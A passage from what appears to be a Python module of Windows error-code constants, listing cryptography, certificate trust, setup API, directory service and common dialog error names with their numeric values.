-2146885627\nCRYPT_E_NO_PROVIDER = -2146885626\nCRYPT_E_SELF_SIGNED = -2146885625\nCRYPT_E_DELETED_PREV = -2146885624\nCRYPT_E_NO_MATCH = -2146885623\nCRYPT_E_UNEXPECTED_MSG_TYPE = -2146885622\nCRYPT_E_NO_KEY_PROPERTY = -2146885621\nCRYPT_E_NO_DECRYPT_CERT = -2146885620\nCRYPT_E_BAD_MSG = -2146885619\nCRYPT_E_NO_SIGNER = -2146885618\nCRYPT_E_PENDING_CLOSE = -2146885617\nCRYPT_E_REVOKED = -2146885616\nCRYPT_E_NO_REVOCATION_DLL = -2146885615\nCRYPT_E_NO_REVOCATION_CHECK = -2146885614\nCRYPT_E_REVOCATION_OFFLINE = -2146885613\nCRYPT_E_NOT_IN_REVOCATION_DATABASE = -2146885612\nCRYPT_E_INVALID_NUMERIC_STRING = -2146885600\nCRYPT_E_INVALID_PRINTABLE_STRING = -2146885599\nCRYPT_E_INVALID_IA5_STRING = -2146885598\nCRYPT_E_INVALID_X500_STRING = -2146885597\nCRYPT_E_NOT_CHAR_STRING = -2146885596\nCRYPT_E_FILERESIZED = -2146885595\nCRYPT_E_SECURITY_SETTINGS = -2146885594\nCRYPT_E_NO_VERIFY_USAGE_DLL = -2146885593\nCRYPT_E_NO_VERIFY_USAGE_CHECK = -2146885592\nCRYPT_E_VERIFY_USAGE_OFFLINE = -2146885591\nCRYPT_E_NOT_IN_CTL = -2146885590\nCRYPT_E_NO_TRUSTED_SIGNER = -2146885589\nCRYPT_E_OSS_ERROR = -2146881536\nCERTSRV_E_BAD_REQUESTSUBJECT = -2146877439\nCERTSRV_E_NO_REQUEST = -2146877438\nCERTSRV_E_BAD_REQUESTSTATUS = -2146877437\nCERTSRV_E_PROPERTY_EMPTY = -2146877436\nCERTDB_E_JET_ERROR = -2146873344\nTRUST_E_SYSTEM_ERROR = -2146869247\nTRUST_E_NO_SIGNER_CERT = -2146869246\nTRUST_E_COUNTER_SIGNER = -2146869245\nTRUST_E_CERT_SIGNATURE = -2146869244\nTRUST_E_TIME_STAMP = -2146869243\nTRUST_E_BAD_DIGEST = -2146869232\nTRUST_E_BASIC_CONSTRAINTS = -2146869223\nTRUST_E_FINANCIAL_CRITERIA = -2146869218\nNTE_OP_OK = 0\nTRUST_E_PROVIDER_UNKNOWN = -2146762751\nTRUST_E_ACTION_UNKNOWN = -2146762750\nTRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749\nTRUST_E_SUBJECT_NOT_TRUSTED = -2146762748\nDIGSIG_E_ENCODE = -2146762747\nDIGSIG_E_DECODE = -2146762746\nDIGSIG_E_EXTENSIBILITY = -2146762745\nDIGSIG_E_CRYPTO = -2146762744\nPERSIST_E_SIZEDEFINITE = -2146762743\nPERSIST_E_SIZEINDEFINITE = -2146762742\nPERSIST_E_NOTSELFSIZING = -2146762741\nTRUST_E_NOSIGNATURE = -2146762496\nCERT_E_EXPIRED = -2146762495\nCERT_E_VALIDITYPERIODNESTING = -2146762494\nCERT_E_ROLE = -2146762493\nCERT_E_PATHLENCONST = -2146762492\nCERT_E_CRITICAL = -2146762491\nCERT_E_PURPOSE = -2146762490\nCERT_E_ISSUERCHAINING = -2146762489\nCERT_E_MALFORMED = -2146762488\nCERT_E_UNTRUSTEDROOT = -2146762487\nCERT_E_CHAINING = -2146762486\nTRUST_E_FAIL = -2146762485\nCERT_E_REVOKED = -2146762484\nCERT_E_UNTRUSTEDTESTROOT = -2146762483\nCERT_E_REVOCATION_FAILURE = -2146762482\nCERT_E_CN_NO_MATCH = -2146762481\nCERT_E_WRONG_USAGE = -2146762480\nSPAPI_E_EXPECTED_SECTION_NAME = -2146500608\nSPAPI_E_BAD_SECTION_NAME_LINE = -2146500607\nSPAPI_E_SECTION_NAME_TOO_LONG = -2146500606\nSPAPI_E_GENERAL_SYNTAX = -2146500605\nSPAPI_E_WRONG_INF_STYLE = -2146500352\nSPAPI_E_SECTION_NOT_FOUND = -2146500351\nSPAPI_E_LINE_NOT_FOUND = -2146500350\nSPAPI_E_NO_ASSOCIATED_CLASS = -2146500096\nSPAPI_E_CLASS_MISMATCH = -2146500095\nSPAPI_E_DUPLICATE_FOUND = -2146500094\nSPAPI_E_NO_DRIVER_SELECTED = -2146500093\nSPAPI_E_KEY_DOES_NOT_EXIST = -2146500092\nSPAPI_E_INVALID_DEVINST_NAME = -2146500091\nSPAPI_E_INVALID_CLASS = -2146500090\nSPAPI_E_DEVINST_ALREADY_EXISTS = -2146500089\nSPAPI_E_DEVINFO_NOT_REGISTERED = -2146500088\nSPAPI_E_INVALID_REG_PROPERTY = -2146500087\nSPAPI_E_NO_INF = -2146500086\nSPAPI_E_NO_SUCH_DEVINST = -2146500085\nSPAPI_E_CANT_LOAD_CLASS_ICON = -2146500084\nSPAPI_E_INVALID_CLASS_INSTALLER = -2146500083\nSPAPI_E_DI_DO_DEFAULT = -2146500082\nSPAPI_E_DI_NOFILECOPY = -2146500081\nSPAPI_E_INVALID_HWPROFILE = -2146500080\nSPAPI_E_NO_DEVICE_SELECTED = -2146500079\nSPAPI_E_DEVINFO_LIST_LOCKED = -2146500078\nSPAPI_E_DEVINFO_DATA_LOCKED = -2146500077\nSPAPI_E_DI_BAD_PATH = -2146500076\nSPAPI_E_NO_CLASSINSTALL_PARAMS = -2146500075\nSPAPI_E_FILEQUEUE_LOCKED = -2146500074\nSPAPI_E_BAD_SERVICE_INSTALLSECT = -2146500073\nSPAPI_E_NO_CLASS_DRIVER_LIST = -2146500072\nSPAPI_E_NO_ASSOCIATED_SERVICE = -2146500071\nSPAPI_E_NO_DEFAULT_DEVICE_INTERFACE = -2146500070\nSPAPI_E_DEVICE_INTERFACE_ACTIVE = -2146500069\nSPAPI_E_DEVICE_INTERFACE_REMOVED = -2146500068\nSPAPI_E_BAD_INTERFACE_INSTALLSECT = -2146500067\nSPAPI_E_NO_SUCH_INTERFACE_CLASS = -2146500066\nSPAPI_E_INVALID_REFERENCE_STRING = -2146500065\nSPAPI_E_INVALID_MACHINENAME = -2146500064\nSPAPI_E_REMOTE_COMM_FAILURE = -2146500063\nSPAPI_E_MACHINE_UNAVAILABLE = -2146500062\nSPAPI_E_NO_CONFIGMGR_SERVICES = -2146500061\nSPAPI_E_INVALID_PROPPAGE_PROVIDER = -2146500060\nSPAPI_E_NO_SUCH_DEVICE_INTERFACE = -2146500059\nSPAPI_E_DI_POSTPROCESSING_REQUIRED = -2146500058\nSPAPI_E_INVALID_COINSTALLER = -2146500057\nSPAPI_E_NO_COMPAT_DRIVERS = -2146500056\nSPAPI_E_NO_DEVICE_ICON = -2146500055\nSPAPI_E_INVALID_INF_LOGCONFIG = -2146500054\nSPAPI_E_DI_DONT_INSTALL = -2146500053\nSPAPI_E_INVALID_FILTER_DRIVER = -2146500052\nSPAPI_E_ERROR_NOT_INSTALLED = -2146496512\n\n# Directory storage\nERROR_DS_NOT_INSTALLED = 8200\nERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201\nERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202\nERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203\nERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204\nERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205\nERROR_DS_BUSY = 8206\nERROR_DS_UNAVAILABLE = 8207\nERROR_DS_NO_RIDS_ALLOCATED = 8208\nERROR_DS_NO_MORE_RIDS = 8209\nERROR_DS_INCORRECT_ROLE_OWNER = 8210\nERROR_DS_RIDMGR_INIT_ERROR = 8211\nERROR_DS_OBJ_CLASS_VIOLATION = 8212\nERROR_DS_CANT_ON_NON_LEAF = 8213\nERROR_DS_CANT_ON_RDN = 8214\nERROR_DS_CANT_MOD_OBJ_CLASS = 8215\nERROR_DS_CROSS_DOM_MOVE_ERROR = 8216\nERROR_DS_GC_NOT_AVAILABLE = 8217\nERROR_SHARED_POLICY = 8218\nERROR_POLICY_OBJECT_NOT_FOUND = 8219\nERROR_POLICY_ONLY_IN_DS = 8220\nERROR_PROMOTION_ACTIVE = 8221\nERROR_NO_PROMOTION_ACTIVE = 8222\nERROR_DS_OPERATIONS_ERROR = 8224\nERROR_DS_PROTOCOL_ERROR = 8225\nERROR_DS_TIMELIMIT_EXCEEDED = 8226\nERROR_DS_SIZELIMIT_EXCEEDED = 8227\nERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228\nERROR_DS_COMPARE_FALSE = 8229\nERROR_DS_COMPARE_TRUE = 8230\nERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231\nERROR_DS_STRONG_AUTH_REQUIRED = 8232\nERROR_DS_INAPPROPRIATE_AUTH = 8233\nERROR_DS_AUTH_UNKNOWN = 8234\nERROR_DS_REFERRAL = 8235\nERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236\nERROR_DS_CONFIDENTIALITY_REQUIRED = 8237\nERROR_DS_INAPPROPRIATE_MATCHING = 8238\nERROR_DS_CONSTRAINT_VIOLATION = 8239\nERROR_DS_NO_SUCH_OBJECT = 8240\nERROR_DS_ALIAS_PROBLEM = 8241\nERROR_DS_INVALID_DN_SYNTAX = 8242\nERROR_DS_IS_LEAF = 8243\nERROR_DS_ALIAS_DEREF_PROBLEM = 8244\nERROR_DS_UNWILLING_TO_PERFORM = 8245\nERROR_DS_LOOP_DETECT = 8246\nERROR_DS_NAMING_VIOLATION = 8247\nERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248\nERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249\nERROR_DS_SERVER_DOWN = 8250\nERROR_DS_LOCAL_ERROR = 8251\nERROR_DS_ENCODING_ERROR = 8252\nERROR_DS_DECODING_ERROR = 8253\nERROR_DS_FILTER_UNKNOWN = 8254\nERROR_DS_PARAM_ERROR = 8255\nERROR_DS_NOT_SUPPORTED = 8256\nERROR_DS_NO_RESULTS_RETURNED = 8257\nERROR_DS_CONTROL_NOT_FOUND = 8258\nERROR_DS_CLIENT_LOOP = 8259\nERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260\nERROR_DS_SORT_CONTROL_MISSING = 8261\nERROR_DS_OFFSET_RANGE_ERROR = 8262\nERROR_DS_ROOT_MUST_BE_NC = 8301\nERROR_DS_ADD_REPLICA_INHIBITED = 8302\nERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303\nERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304\nERROR_DS_OBJ_STRING_NAME_EXISTS = 8305\nERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306\nERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307\nERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308\nERROR_DS_USER_BUFFER_TO_SMALL = 8309\nERROR_DS_ATT_IS_NOT_ON_OBJ = 8310\nERROR_DS_ILLEGAL_MOD_OPERATION = 8311\nERROR_DS_OBJ_TOO_LARGE = 8312\nERROR_DS_BAD_INSTANCE_TYPE = 8313\nERROR_DS_MASTERDSA_REQUIRED = 8314\nERROR_DS_OBJECT_CLASS_REQUIRED = 8315\nERROR_DS_MISSING_REQUIRED_ATT = 8316\nERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317\nERROR_DS_ATT_ALREADY_EXISTS = 8318\nERROR_DS_CANT_ADD_ATT_VALUES = 8320\nERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321\nERROR_DS_RANGE_CONSTRAINT = 8322\nERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323\nERROR_DS_CANT_REM_MISSING_ATT = 8324\nERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325\nERROR_DS_ROOT_CANT_BE_SUBREF = 8326\nERROR_DS_NO_CHAINING = 8327\nERROR_DS_NO_CHAINED_EVAL = 8328\nERROR_DS_NO_PARENT_OBJECT = 8329\nERROR_DS_PARENT_IS_AN_ALIAS = 8330\nERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331\nERROR_DS_CHILDREN_EXIST = 8332\nERROR_DS_OBJ_NOT_FOUND = 8333\nERROR_DS_ALIASED_OBJ_MISSING = 8334\nERROR_DS_BAD_NAME_SYNTAX = 8335\nERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336\nERROR_DS_CANT_DEREF_ALIAS = 8337\nERROR_DS_OUT_OF_SCOPE = 8338\nERROR_DS_OBJECT_BEING_REMOVED = 8339\nERROR_DS_CANT_DELETE_DSA_OBJ = 8340\nERROR_DS_GENERIC_ERROR = 8341\nERROR_DS_DSA_MUST_BE_INT_MASTER = 8342\nERROR_DS_CLASS_NOT_DSA = 8343\nERROR_DS_INSUFF_ACCESS_RIGHTS = 8344\nERROR_DS_ILLEGAL_SUPERIOR = 8345\nERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346\nERROR_DS_NAME_TOO_MANY_PARTS = 8347\nERROR_DS_NAME_TOO_LONG = 8348\nERROR_DS_NAME_VALUE_TOO_LONG = 8349\nERROR_DS_NAME_UNPARSEABLE = 8350\nERROR_DS_NAME_TYPE_UNKNOWN = 8351\nERROR_DS_NOT_AN_OBJECT = 8352\nERROR_DS_SEC_DESC_TOO_SHORT = 8353\nERROR_DS_SEC_DESC_INVALID = 8354\nERROR_DS_NO_DELETED_NAME = 8355\nERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356\nERROR_DS_NCNAME_MUST_BE_NC = 8357\nERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358\nERROR_DS_CLASS_MUST_BE_CONCRETE = 8359\nERROR_DS_INVALID_DMD = 8360\nERROR_DS_OBJ_GUID_EXISTS = 8361\nERROR_DS_NOT_ON_BACKLINK = 8362\nERROR_DS_NO_CROSSREF_FOR_NC = 8363\nERROR_DS_SHUTTING_DOWN = 8364\nERROR_DS_UNKNOWN_OPERATION = 8365\nERROR_DS_INVALID_ROLE_OWNER = 8366\nERROR_DS_COULDNT_CONTACT_FSMO = 8367\nERROR_DS_CROSS_NC_DN_RENAME = 8368\nERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369\nERROR_DS_REPLICATOR_ONLY = 8370\nERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371\nERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372\nERROR_DS_NAME_REFERENCE_INVALID = 8373\nERROR_DS_CROSS_REF_EXISTS = 8374\nERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375\nERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376\nERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377\nERROR_DS_DUP_RDN = 8378\nERROR_DS_DUP_OID = 8379\nERROR_DS_DUP_MAPI_ID = 8380\nERROR_DS_DUP_SCHEMA_ID_GUID = 8381\nERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382\nERROR_DS_SEMANTIC_ATT_TEST = 8383\nERROR_DS_SYNTAX_MISMATCH = 8384\nERROR_DS_EXISTS_IN_MUST_HAVE = 8385\nERROR_DS_EXISTS_IN_MAY_HAVE = 8386\nERROR_DS_NONEXISTENT_MAY_HAVE = 8387\nERROR_DS_NONEXISTENT_MUST_HAVE = 8388\nERROR_DS_AUX_CLS_TEST_FAIL = 8389\nERROR_DS_NONEXISTENT_POSS_SUP = 8390\nERROR_DS_SUB_CLS_TEST_FAIL = 8391\nERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392\nERROR_DS_EXISTS_IN_AUX_CLS = 8393\nERROR_DS_EXISTS_IN_SUB_CLS = 8394\nERROR_DS_EXISTS_IN_POSS_SUP = 8395\nERROR_DS_RECALCSCHEMA_FAILED = 8396\nERROR_DS_TREE_DELETE_NOT_FINISHED = 8397\nERROR_DS_CANT_DELETE = 8398\nERROR_DS_ATT_SCHEMA_REQ_ID = 8399\nERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400\nERROR_DS_CANT_CACHE_ATT = 8401\nERROR_DS_CANT_CACHE_CLASS = 8402\nERROR_DS_CANT_REMOVE_ATT_CACHE = 8403\nERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404\nERROR_DS_CANT_RETRIEVE_DN = 8405\nERROR_DS_MISSING_SUPREF = 8406\nERROR_DS_CANT_RETRIEVE_INSTANCE = 8407\nERROR_DS_CODE_INCONSISTENCY = 8408\nERROR_DS_DATABASE_ERROR = 8409\nERROR_DS_GOVERNSID_MISSING = 8410\nERROR_DS_MISSING_EXPECTED_ATT = 8411\nERROR_DS_NCNAME_MISSING_CR_REF = 8412\nERROR_DS_SECURITY_CHECKING_ERROR = 8413\nERROR_DS_SCHEMA_NOT_LOADED = 8414\nERROR_DS_SCHEMA_ALLOC_FAILED = 8415\nERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416\nERROR_DS_GCVERIFY_ERROR = 8417\nERROR_DS_DRA_SCHEMA_MISMATCH = 8418\nERROR_DS_CANT_FIND_DSA_OBJ = 8419\nERROR_DS_CANT_FIND_EXPECTED_NC = 8420\nERROR_DS_CANT_FIND_NC_IN_CACHE = 8421\nERROR_DS_CANT_RETRIEVE_CHILD = 8422\nERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423\nERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424\nERROR_DS_BAD_HIERARCHY_FILE = 8425\nERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426\nERROR_DS_CONFIG_PARAM_MISSING = 8427\nERROR_DS_COUNTING_AB_INDICES_FAILED = 8428\nERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429\nERROR_DS_INTERNAL_FAILURE = 8430\nERROR_DS_UNKNOWN_ERROR = 8431\nERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432\nERROR_DS_REFUSING_FSMO_ROLES = 8433\nERROR_DS_MISSING_FSMO_SETTINGS = 8434\nERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435\nERROR_DS_DRA_GENERIC = 8436\nERROR_DS_DRA_INVALID_PARAMETER = 8437\nERROR_DS_DRA_BUSY = 8438\nERROR_DS_DRA_BAD_DN = 8439\nERROR_DS_DRA_BAD_NC = 8440\nERROR_DS_DRA_DN_EXISTS = 8441\nERROR_DS_DRA_INTERNAL_ERROR = 8442\nERROR_DS_DRA_INCONSISTENT_DIT = 8443\nERROR_DS_DRA_CONNECTION_FAILED = 8444\nERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445\nERROR_DS_DRA_OUT_OF_MEM = 8446\nERROR_DS_DRA_MAIL_PROBLEM = 8447\nERROR_DS_DRA_REF_ALREADY_EXISTS = 8448\nERROR_DS_DRA_REF_NOT_FOUND = 8449\nERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450\nERROR_DS_DRA_DB_ERROR = 8451\nERROR_DS_DRA_NO_REPLICA = 8452\nERROR_DS_DRA_ACCESS_DENIED = 8453\nERROR_DS_DRA_NOT_SUPPORTED = 8454\nERROR_DS_DRA_RPC_CANCELLED = 8455\nERROR_DS_DRA_SOURCE_DISABLED = 8456\nERROR_DS_DRA_SINK_DISABLED = 8457\nERROR_DS_DRA_NAME_COLLISION = 8458\nERROR_DS_DRA_SOURCE_REINSTALLED = 8459\nERROR_DS_DRA_MISSING_PARENT = 8460\nERROR_DS_DRA_PREEMPTED = 8461\nERROR_DS_DRA_ABANDON_SYNC = 8462\nERROR_DS_DRA_SHUTDOWN = 8463\nERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464\nERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465\nERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466\nERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467\nERROR_DS_DUP_LINK_ID = 8468\nERROR_DS_NAME_ERROR_RESOLVING = 8469\nERROR_DS_NAME_ERROR_NOT_FOUND = 8470\nERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471\nERROR_DS_NAME_ERROR_NO_MAPPING = 8472\nERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473\nERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474\nERROR_DS_CONSTRUCTED_ATT_MOD = 8475\nERROR_DS_WRONG_OM_OBJ_CLASS = 8476\nERROR_DS_DRA_REPL_PENDING = 8477\nERROR_DS_DS_REQUIRED = 8478\nERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479\nERROR_DS_NON_BASE_SEARCH = 8480\nERROR_DS_CANT_RETRIEVE_ATTS = 8481\nERROR_DS_BACKLINK_WITHOUT_LINK = 8482\nERROR_DS_EPOCH_MISMATCH = 8483\nERROR_DS_SRC_NAME_MISMATCH = 8484\nERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485\nERROR_DS_DST_NC_MISMATCH = 8486\nERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487\nERROR_DS_SRC_GUID_MISMATCH = 8488\nERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489\nERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490\nERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491\nERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492\nERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493\nERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494\nERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495\nERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496\nERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497\nERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498\nERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499\nERROR_DS_INVALID_SEARCH_FLAG = 8500\nERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501\nERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502\nERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503\nERROR_DS_SAM_INIT_FAILURE = 8504\nERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505\nERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506\nERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507\nERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508\nERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509\nERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510\nERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511\nERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512\nERROR_DS_INVALID_GROUP_TYPE = 8513\nERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514\nERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515\nERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516\nERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517\nERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518\nERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519\nERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520\nERROR_DS_HAVE_PRIMARY_MEMBERS = 8521\nERROR_DS_STRING_SD_CONVERSION_FAILED = 8522\nERROR_DS_NAMING_MASTER_GC = 8523\nERROR_DS_DNS_LOOKUP_FAILURE = 8524\nERROR_DS_COULDNT_UPDATE_SPNS = 8525\nERROR_DS_CANT_RETRIEVE_SD = 8526\nERROR_DS_KEY_NOT_UNIQUE = 8527\nERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528\nERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529\nERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530\nERROR_DS_CANT_START = 8531\nERROR_DS_INIT_FAILURE = 8532\nERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533\nERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534\nERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535\nERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536\nERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537\nERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538\nERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539\nERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540\nERROR_SAM_INIT_FAILURE = 8541\nERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542\nERROR_DS_DRA_SCHEMA_CONFLICT = 8543\nERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544\nERROR_DS_DRA_OBJ_NC_MISMATCH = 8545\nERROR_DS_NC_STILL_HAS_DSAS = 8546\nERROR_DS_GC_REQUIRED = 8547\nERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548\nERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549\nERROR_DS_CANT_ADD_TO_GC = 8550\nERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551\nERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552\nERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553\nERROR_DS_INVALID_NAME_FOR_SPN = 8554\nERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555\nERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556\nERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557\nERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558\nERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559\nERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560\nERROR_DS_INIT_FAILURE_CONSOLE = 8561\nERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562\nERROR_DS_FOREST_VERSION_TOO_HIGH = 8563\nERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564\nERROR_DS_FOREST_VERSION_TOO_LOW = 8565\nERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566\nERROR_DS_INCOMPATIBLE_VERSION = 8567\nERROR_DS_LOW_DSA_VERSION = 8568\nERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569\nERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570\nERROR_DS_NAME_NOT_UNIQUE = 8571\nERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572\nERROR_DS_OUT_OF_VERSION_STORE = 8573\nERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574\nERROR_DS_NO_REF_DOMAIN = 8575\nERROR_DS_RESERVED_LINK_ID = 8576\nERROR_DS_LINK_ID_NOT_AVAILABLE = 8577\nERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578\nERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579\nERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580\nERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581\nERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582\nERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583\nERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584\nERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585\nERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586\nERROR_DS_THREAD_LIMIT_EXCEEDED = 8587\nERROR_DS_NOT_CLOSEST = 8588\nERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589\nERROR_DS_SINGLE_USER_MODE_FAILED = 8590\nERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591\nERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592\nERROR_DS_DIFFERENT_REPL_EPOCHS = 8593\nERROR_DS_DRS_EXTENSIONS_CHANGED = 8594\nERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595\nERROR_DS_NO_MSDS_INTID = 8596\nERROR_DS_DUP_MSDS_INTID = 8597\nERROR_DS_EXISTS_IN_RDNATTID = 8598\nERROR_DS_AUTHORIZATION_FAILED = 8599\nERROR_DS_INVALID_SCRIPT = 8600\nERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601\nERROR_DS_CROSS_REF_BUSY = 8602\nERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603\nERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604\nERROR_DS_DUPLICATE_ID_FOUND = 8605\nERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606\nERROR_DS_GROUP_CONVERSION_ERROR = 8607\nERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608\nERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609\nERROR_DS_ROLE_NOT_VERIFIED = 8610\nERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611\nERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612\nERROR_DS_EXISTING_AD_CHILD_NC = 8613\nERROR_DS_REPL_LIFETIME_EXCEEDED = 8614\nERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615\nERROR_DS_LDAP_SEND_QUEUE_FULL = 8616\nERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617\n\n# Common dialog box error codes from cderr.h\nCDERR_DIALOGFAILURE = 65535\nCDERR_GENERALCODES = 0\nCDERR_STRUCTSIZE = 1\nCDERR_INITIALIZATION = 2\nCDERR_NOTEMPLATE = 3\nCDERR_NOHINSTANCE = 4\nCDERR_LOADSTRFAILURE = 5\nCDERR_FINDRESFAILURE = 6\nCDERR_LOADRESFAILURE = 